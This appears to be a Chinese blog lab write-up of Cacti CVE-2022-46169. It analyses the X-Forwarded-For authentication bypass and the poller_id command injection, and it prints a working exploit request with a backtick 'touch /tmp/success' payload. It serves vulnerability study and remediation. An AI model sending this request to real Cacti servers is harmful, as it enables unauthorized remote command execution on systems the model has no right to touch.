当前位置: 首页 > news >正文

cacti的RCE

目录

1 环境搭建

1.1 linux:

1.1.1 在ubuntu上拉取环境(docker)

1.1.2 docker环境部署

1.1.3 查看镜像端口:

1.1.4 访问

​编辑

1.1.5 查看数据库配置:

1.2 windows搭建:

​编辑

 1.2.1 config.php.dist

​编辑

2 环境设置

2.1 登录仙人掌

 2.2 设置

3 vscode进入容器的方法

4 RCE绕过与分析

4.1 绕过鉴权函数

4.1.1 函数分析

4.1.1.1 get_client_addr

4.1.1.2 break 2:

4.1.1.3 remote_client_authorized()

4.1.1.4 remote_agent_strip_domain

4.2 用户可控参数--get

4.2.1 初步分析

4.2.2 分析函数的if

4.2.3 ACTION为什么为2?

4.3 绕过prepare_validate_result函数

函数代码:

5 漏洞复现演示

5.1进入数据库

5.2 payload抓包测试

5.3 上传payload

5.4 测试验证

6 代码回顾总结

6.1 remote_client_authorized()绕过

6.2 action  get传参

6.3   当action=2

7 AI总结图(助于思考回顾)


1 环境搭建

1.1 linux:

1.1.1 在ubuntu上拉取环境(docker)

root@yang:~/vulhub/cacti/CVE-2022-46169# wget  https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip^C

1.1.2 docker环境部署

使用此命令构建docker环境镜像


root@yang:~/vulhub/cacti/CVE-2022-46169# docker compose up -d
WARN[0000] /root/vulhub/cacti/CVE-2022-46169/docker-compose.yml: the attribute `version` is obsol                                                                                        ete, it will be ignored, please remove it to avoid potential confusion
[+] Running 2/2✔ Container cve-2022-46169-db-1   Started                                                  0.5s✔ Container cve-2022-46169-web-1  Started  

1.1.3 查看镜像端口:

root@yang:~/vulhub/cacti/CVE-2022-46169# docker images
REPOSITORY     TAG       IMAGE ID       CREATED         SIZE
nginx          latest    9592f5595f2b   4 weeks ago     192MB
mysql          5.7       5107333e08a8   19 months ago   501MB
vulhub/cacti   1.2.22    c0a06715ff54   2 years ago     642MB
root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS         PORTS                                     NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh…"   2 weeks ago   Up 2 minutes   0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s…"   2 weeks ago   Up 2 minutes   3306/tcp, 33060/tcp                       cve-2022-46169-db-1

1.1.4 访问

1.1.5 查看数据库配置:

1.2 windows搭建:

下载安装包后直接部署在小皮的WWW的目录下面,发现报错

 1.2.1 config.php.dist

这是一个备份文件,可以修改为php文件,作为mysql

修改配置文件 

无法成功!稍后再试,尝试了很多方法都不行

2 环境设置

2.1 登录仙人掌

账号:admin

密码:admin

进入后就直接一直next

 2.2 设置

3 vscode进入容器的方法

因为自己最开始不知道,所以写了

然后在这里面可以选择想进入的容器:

4 RCE绕过与分析

4.1 绕过鉴权函数

4.1.1 函数分析

function remote_client_authorized() {global $poller_db_cnn_id;/* don't allow to run from the command line */$client_addr = get_client_addr();if ($client_addr === false) {return false;}if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');return false;}$client_name = gethostbyaddr($client_addr);if ($client_name == $client_addr) {cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);} else {$client_name = remote_agent_strip_domain($client_name);}$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name) {return true;} elseif ($poller['hostname'] == $client_addr) {return true;}}}cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");return false;
}
4.1.1.1 get_client_addr

走到这个函数里面来,再接着走到了get_client_addr 这一看就知道应该是获取客户端的地址的函数,那我们来分析一下他的函数源码

function get_client_addr($client_addr = false) {$http_addr_headers = array('X-Forwarded-For','X-Client-IP','X-Real-IP','X-ProxyUser-Ip','CF-Connecting-IP','True-Client-IP','HTTP_X_FORWARDED','HTTP_X_FORWARDED_FOR','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','HTTP_CLIENT_IP','REMOTE_ADDR',);
//循环获取他的http的请求头$client_addr = false;foreach ($http_addr_headers as $header) {if (!empty($_SERVER[$header])) {$header_ips = explode(',', $_SERVER[$header]);foreach ($header_ips as $header_ip) {if (!empty($header_ip)) {if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);} else {$client_addr = $header_ip;cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);break 2;}}}}}return $client_addr;
}

最开始这个数组就是为了循环获取他的请求头的数据

$_server:就是为了获取到X-Forwarded-For,这样就可以判断能不能获取到这个X-Forwarded-For参数,就可以判断出请求头是否伪空
 

<?php

echo'<pre>';

var_dump($_SERVER);

可以打印出全局的数组,其中它就有请求头的数据

 打印出来的数据如上:和f12里面的http-request-header里面的内容是一样的

所以说我们可以通过获取X-Forwarded-For,可以进行伪造

$header_ips = explode(',', $_SERVER[$header]);

            foreach ($header_ips as $header_ip) {

                if (!empty($header_ip)) {

                    if (!filter_var($header_ip, FILTER_VALIDATE_IP))

这里是通过全局数组获取到了header头里面的ip字段的信息,获取到后,判断是否为空,如果不是空,就用filter_var来进行过滤

FILTER_VALIDATE_IP:这是一个过滤器,用来验证IP是否合法

4.1.1.2 break 2:

跳出两层循环

break 2是 PHP 中的控制语句,用于终止多层嵌套循环的执行。在这段代码中,它的作用是:

 
  1. 内层循环:遍历由逗号分隔的 IP 列表(例如,当代理服务器链传递多个 IP 时)。
  2. 外层循环:遍历 HTTP 头数组。
 

当在内层循环中找到第一个有效 IP 后,break 2会立即终止两层循环,直接跳到整个循环结构之后的代码(即return $client_addr)。这确保函数在找到第一个有效 IP 后立即返回,避免继续检查其他头或 IP

4.1.1.3 remote_client_authorized()

function remote_client_authorized() {

    global $poller_db_cnn_id;

    /* don't allow to run from the command line */

    $client_addr = get_client_addr();

    if ($client_addr === false) {

        return false;

    }

当ip为127.0.0.1时,因为break2直接get_client_addr返回的$client_addr就是127.0.0.1,接着

if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {cacti_log('ERROR: Invalid remote agent client IP Address.  Exiting');return false;}$client_name = gethostbyaddr($client_addr);if ($client_name == $client_addr) {cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);} else {$client_name = remote_agent_strip_domain($client_name);}

对127.0.0.1进行合法性校验,然后通过gethostbyaddr这个函数将127.0.0.1转换成了localhost,因为client_name 和client_addr不相等,就走到了else里面,然后走到了remote_agent_strip_domain这个函数里面

4.1.1.4 remote_agent_strip_domain
function remote_agent_strip_domain($host) {if (strpos($host, '.') !== false) {$parts = explode('.', $host);return $parts[0];} else {return $h

$client_name就传到了$host为localhost,因为它没有.,所以它直接返回了$h,也就是localhost
strpos:这个函数是返回$host里面的第一次出现点号的位置,返回从0开始的点号的索引位置

explode('.', $host) 函数:

  • 功能:将字符串 $host 按点号(.)分割成数组。
  • 示例
    • explode('.', 'www.google.com') → ['www', 'google', 'com']
    • explode('.', 'localhost') → ['localhost']

$parts[0] 返回值:

作用:返回分割后的第一个元素(即主机名部分)。

返回$host:

通过以上分析返回是localhost:接着走以下代码

if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name) {return true;

这个内层函数返回的结果通过以上分析,也应该是localhost跟我们的client_name是一样的,所以返回true

所以通过分析可以知道,这样我们就绕过了这个鉴权函数,主要问题是出现在get_client_addr的时候,直接两层循环退出了所以X-Forwarded-For就可以进行伪造成127.0.0.1(localhost)

 鉴权完成后就走到4.2了

4.2 用户可控参数--get

这里有用户可控的参数,那么我可以走进此开关,就可以走进条件case 'polldata'  

4.2.1 初步分析

鉴权完成后走到这个函数 

当我进入这个case后,就会触发poll_for_data这个函数

function poll_for_data() {global $config;$local_data_ids = get_nfilter_request_var('local_data_ids');$host_id        = get_filter_request_var('host_id');$poller_id      = get_nfilter_request_var('poller_id');$return         = array();$i = 0;

可以看到这个函数请求了三个内容,那我们看一下官方给的payload测试就明白了

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

就刚好传递了 local_data_ids(array) host_id(string) poller_id(string)这三个参数

4.2.2 分析函数的if

进入这个函数的第一个if,观察它都查询了poller_item这个表

if (cacti_sizeof($local_data_ids)) {foreach($local_data_ids as $local_data_id) {input_validate_input_number($local_data_id);$items = db_fetch_assoc_prepared('SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?',array($host_id, $local_data_id));$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)FROM poller_itemWHERE host_id = ?AND local_data_id = ?AND action = 2',array($host_id, $local_data_id));

 进docker查询一下这个表的默认值(总共有6行数据):

mysql> select * from  poller_item \G

 local_data_id: 1
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: proc
            rrd_path: /var/www/html/rra/local_linux_machine_proc_1.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/unix_processes.pl
                arg2:
                arg3:
*************************** 2. row ***************************
       local_data_id: 2
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name:
            rrd_path: /var/www/html/rra/local_linux_machine_load_1min_2.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/loadavg_multi.pl
                arg2:
                arg3:
*************************** 3. row ***************************
       local_data_id: 3
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: users
            rrd_path: /var/www/html/rra/local_linux_machine_users_3.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/unix_users.pl ''
                arg2:
                arg3:
*************************** 4. row ***************************
       local_data_id: 4
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: mem_buffers
            rrd_path: /var/www/html/rra/local_linux_machine_mem_buffers_4.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/linux_memory.pl 'MemFree:'
                arg2:
                arg3:
*************************** 5. row ***************************
       local_data_id: 5
           poller_id: 1
             host_id: 1
              action: 1
             present: 1
        last_updated: 2025-07-28 12:07:34
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: mem_swap
            rrd_path: /var/www/html/rra/local_linux_machine_mem_swap_5.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: perl /var/www/html/scripts/linux_memory.pl 'SwapFree:'
                arg2:
                arg3:
*************************** 6. row ***************************
       local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-28 12:12:41
            hostname: localhost
      snmp_community: public
        snmp_version: 0
       snmp_username:
       snmp_password:
  snmp_auth_protocol:
snmp_priv_passphrase:
  snmp_priv_protocol:
        snmp_context:
      snmp_engine_id:
           snmp_port: 161
        snmp_timeout: 500
            rrd_name: uptime
            rrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrd
             rrd_num: 1
            rrd_step: 300
       rrd_next_step: 0
                arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptime

 action的值1-5都为1,只有local_id=6的action为2,分析代码可以知道需要的是action为2的数据

4.2.3 ACTION为什么为2?

case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */$cactides = array(0 => array('pipe', 'r'), // stdin is a pipe that the child will read from1 => array('pipe', 'w'), // stdout is a pipe that the child will write to2 => array('pipe', 'w')  // stderr is a pipe to write to);if (function_exists('proc_open')) {$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;} else {$using_proc_function = false;}if ($using_proc_function == true) {$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = 'U';}} else {$output = 'U';}$return[$i]['value']         = $output;$return[$i]['rrd_name']      = $item['rrd_name'];$return[$i]['local_data_id'] = $local_data_id;if (($using_proc_function == true) && ($script_server_calls > 0)) {/* close php server process */fwrite($pipes[0], "quit\r\n");fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);

分析可知,只有当action为2才能走到这个case来,走进来过后才可以执行我们的RCE代码(proc_open)

if (cacti_sizeof($local_data_ids)) {foreach($local_data_ids as $local_data_id) {input_validate_input_number($local_data_id);

因为这里循环所以我们后面提交的是数组的payload,可以看一下:

payload:

action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1

 这样就说明了为什么我的local_data_ids为6,host_id=1,因为根据4.2.2分析得到

4.3 绕过prepare_validate_result函数

因为我要让$output有值,就必须要绕过此函数

if (prepare_validate_result($output) === false) {if (strlen($output) > 20) {$strout = 20;} else {$strout = strlen($output);}$output = 'U';}$return[$i]['value']         = $output;$return[$i]['rrd_name']      = $item['rrd_name'];$return[$i]['local_data_id'] = $local_data_id;break;

函数代码:

function prepare_validate_result(&$result) {/* first trim the string */$result = trim($result, "'\"\n\r");/* clean off ugly non-numeric data */if (is_numeric($result)) {dsv_log('prepare_validate_result','data is numeric');return true;} elseif ($result == 'U') {dsv_log('prepare_validate_result', 'data is U');return true;} elseif (is_hexadecimal($result)) {dsv_log('prepare_validate_result', 'data is hex');return hexdec($result);} elseif (substr_count($result, ':') || substr_count($result, '!')) {/* looking for name value pairs */if (substr_count($result, ' ') == 0) {dsv_log('prepare_validate_result', 'data has no spaces');return true;} else {$delim_cnt = 0;if (substr_count($result, ':')) {$delim_cnt = substr_count($result, ':');} elseif (strstr($result, '!')) {$delim_cnt = substr_count($result, '!');}$space_cnt = substr_count(trim($result), ' ');dsv_log('prepare_validate_result', "data has $space_cnt spaces and $delim_cnt fields which is " . (($space_cnt+1 == $delim_cnt) ? 'NOT ' : '') . ' okay');return ($space_cnt+1 == $delim_cnt);}} else {$result = strip_alpha($result);if ($result === false) {$result = 'U';return false;} else {return true;}}
}

5 漏洞复现演示

5.1进入数据库

root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS       PORTS                                     NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh…"   2 weeks ago   Up 6 hours   0.0.0.0:8080->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s…"   2 weeks ago   Up 6 hours   3306/tcp, 33060/tcp                       cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 35 /bin/bash
bash-4.2#
bash-4.2# mysql -uroot -proot
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 208
Server version: 5.7.44 MySQL Community Server (GPL)Copyright (c) 2000, 2023, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql>

5.2 payload抓包测试

payload:

http://192.168.37.136:8080/action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%60touch+/tmp/success%60

 

 打印值:表示我绕过了限制

 查看一下我查询的值的hostname,因为根据第二张图可以知道查询出来的poller这个的hostname如果和client_name一样就可以直接绕过限制

5.3 上传payload

5.4 测试验证

进入docker:

root@yang:~/vulhub/cacti/CVE-2022-46169# docker ps -a
CONTAINER ID   IMAGE                 COMMAND                   CREATED       STATUS       PORTS                                 NAMES
9b7a360a3476   vulhub/cacti:1.2.22   "bash /entrypoint.sh…"   2 weeks ago   Up 8 hours   0.0.0.80->80/tcp, [::]:8080->80/tcp   cve-2022-46169-web-1
35343a3e052e   mysql:5.7             "docker-entrypoint.s…"   2 weeks ago   Up 8 hours   3306/t33060/tcp                       cve-2022-46169-db-1
root@yang:~/vulhub/cacti/CVE-2022-46169# docker exec -it 9b /bin/bash
root@9b7a360a3476:/var/www/html# cd /tmp/

进入tmp查看payload创建的succss这个文件是否成功

测试成功!!

6 代码回顾总结

6.1 remote_client_authorized()绕过

1,先判断鉴权的问题,就走到了remote_client_authorized()这个函数,

2,然后这个函数会走到get_client_addr()这个函数里面---》break 2---漏洞起始点--》X-Forwarded-For----》为127.0.0.1----》通过gethostbyaddr这个函数转换成localhost

3,数据库查询的poller的ids=6以及action为2的hostname值也为localhost

4,

这两个相等,所以就return true

就绕过了鉴权函数remote_client_authorized()

6.2 action  get传参

用户可控的参数,接着进入poll for data()函数:

这个是命令执行的函数:

根据4.2可知有三个参数:

这3个参数基本上没有任何过滤

函数体:

$local_data_ids = get_nfilter_request_var('local_data_ids');

//必须是数组

    $host_id        = get_filter_request_var('host_id');

//1

    $poller_id      = get_nfilter_request_var('poller_id');

//执行命令的地方

    $return         = array();

执行完上面的代码后:会进入这个循环,但是这个数组里面只有一个6

oreach($local_data_ids as $local_data_id) {input_validate_input_number($local_data_id);

 这个代码执行的结果:因为我的payload传参为:action=polldata&local_data_ids[0]=6&host_id=1

$items = db_fetch_assoc_prepared('SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?',array($host_id, $local_data_id));

根据传参的结果查询出来的结果为:

local_data_id: 6
           poller_id: 1
             host_id: 1
              action: 2
             present: 1
        last_updated: 2025-07-28 12:12:41
            hostname: localhost


6.3   当action=2

见4.2.3

if (function_exists('proc_open')) {

                            $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

                            $output = fgets($pipes[1], 1024);

                            $using_proc_function = true;

                        } else {

这里面会命令执行$poller_id,也就是我们payload的传参

poller_id=`touch+/tmp/success`

7 AI总结图(助于思考回顾)

远程代码执行漏洞分析
├── 一、漏洞概述
│   ├── 漏洞类型:鉴权绕过+命令注入
│   ├── 影响范围:依赖X-Forwarded-For头鉴权且处理用户输入不严格的PHP系统
│   └── 攻击效果:攻击者可绕过身份验证并执行任意系统命令
│
├── 二、漏洞技术细节
│   ├── 第一阶段:鉴权绕过
│   │   ├── 触发点:remote_client_authorized()函数
│   │   ├── 利用路径:
│   │   │   ├── 客户端请求进入鉴权流程
│   │   │   ├── 调用get_client_addr()获取客户端地址
│   │   │   ├── 攻击者通过X-Forwarded-For头伪造地址为127.0.0.1
│   │   │   ├── gethostbyaddr将127.0.0.1解析为localhost
│   │   │   ├── 数据库中poller配置的hostname也为localhost
│   │   │   └── 地址匹配成功,鉴权绕过
│   │   └── 核心问题:
│   │       ├── 依赖不可信的HTTP头进行身份验证
│   │       └── 未验证请求来源的真实性
│   │
│   ├── 第二阶段:命令注入
│   │   ├── 触发点:poll for data()函数
│   │   ├── 利用路径:
│   │   │   ├── 用户可控参数:
│   │   │   │   ├── local_data_ids(数组,未严格过滤)
│   │   │   │   ├── host_id(整数,部分过滤)
│   │   │   │   └── poller_id(命令执行点,无过滤)
│   │   │   ├── 数据库查询:
│   │   │   │   ├── SELECT * FROM poller_item WHERE host_id=1 AND local_data_id=6
│   │   │   │   └── 查询结果返回action=2的记录
│   │   │   └── 命令执行:
│   │   │       ├── action=2触发proc_open函数调用
│   │   │       ├── 执行命令:php -q /script_server.php realtime $poller_id
│   │   │       └── poller_id参数被攻击者注入恶意命令
│   │   └── 核心问题:
│   │       ├── 用户输入未经过充分过滤和转义
│   │       ├── 使用不安全的命令拼接方式
│   │       └── 对关键参数类型和范围校验不足
│
├── 三、攻击路径示例
│   ├── 构造HTTP请求:
│   │   ├── 添加X-Forwarded-For: 127.0.0.1头
│   │   └── 请求URL: ?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
│   ├── 漏洞利用步骤:
│   │   ├── 绕过鉴权验证
│   │   ├── 触发数据库查询
│   │   ├── 执行系统命令
│   │   └── 创建/tmp/success文件验证漏洞
│
├── 四、安全风险评估
│   ├── 严重程度:高
│   ├── 利用条件:
│   │   ├── 系统启用proc_open函数
│   │   ├── 可访问Web接口
│   │   └── 知晓数据库中有效local_data_id和host_id组合
│   └── 潜在危害:
│       ├── 服务器被完全控制
│       ├── 数据泄露或篡改
│       └── 作为跳板攻击内部网络
│
├── 五、修复建议
│   ├── 鉴权机制改进:
│   │   ├── 不依赖X-Forwarded-For头进行安全决策
│   │   ├── 使用IP白名单结合API密钥验证
│   │   └── 增加来源IP和用户会话绑定机制
│   ├── 输入验证强化:
│   │   ├── 对所有输入参数实施严格白名单过滤
│   │   ├── 使用escapeshellarg()处理命令参数
│   │   └── 对数组参数验证每个元素类型
│   └── 命令执行优化:
│       ├── 重构代码避免直接执行外部命令
│       ├── 如果必须执行,使用安全的参数传递方式
│       └── 禁用不必要的系统命令执行函数

http://www.lryc.cn/news/602268.html

相关文章:

  • 关于“PromptPilot” 之3 -Prompt构造器核心专项能力:任务调度
  • keepalived原理及实战部署
  • MBR和GPT分区的区别
  • 电商项目DevOps一体化运维实战
  • 【Datawhale夏令营】端侧Agent开发实践
  • CodeBuddy的安装教程
  • JAVA东郊到家按摩服务同款同城家政服务按摩私教茶艺师服务系统小程序+公众号+APP+H5
  • 基于BEKK-GARCH模型的参数估计、最大似然估计以及参数标准误估计的MATLAB实现
  • openlayer根据不同的状态显示不同的图层颜色
  • Fortran实现 3维反距离加权(IDW)插值算法
  • 初识 docker [下] 项目部署
  • ETH 交易流程深度技术详解
  • 二、Linux文本处理与文件操作核心命令
  • 从0开始学习R语言--Day60--EM插补法
  • git stash apply 冲突合并方法解决
  • Kafka 3.9.1的KRaft模式部署
  • linux系统----Ansible中的playbook简单应用
  • 从零开始的云计算生活——第三十七天,跬步千里,ansible之playbook
  • 【Blender小技巧】Blender使用多边形建形工具创建多边形模型,挤出面,模型创建修改编辑UV贴图
  • 【第四章:大模型(LLM)】01.神经网络中的 NLP-(2)Seq2Seq 原理及代码解析
  • 从0到500账号管理:亚矩阵云手机多开组队与虚拟定位实战指南
  • 【归并排序】排序数组(medium)
  • Rust/Tauri 优秀开源项目推荐
  • C/C++ 调用lua脚本,lua脚本调用另一个lua脚本
  • 最新的前端技术和趋势(2025)
  • Maven中的bom和父依赖
  • Nginx HTTP 反向代理负载均衡实验
  • YOLO11 改进、魔改|低分辨率自注意力机制LRSA ,提取全局上下文建模与局部细节,提升小目标、密集小目标的检测能力
  • 免费 SSL 证书申请简明教程,让网站实现 HTTPS 访问
  • ADAS测试:如何用自动化手段提升VV效率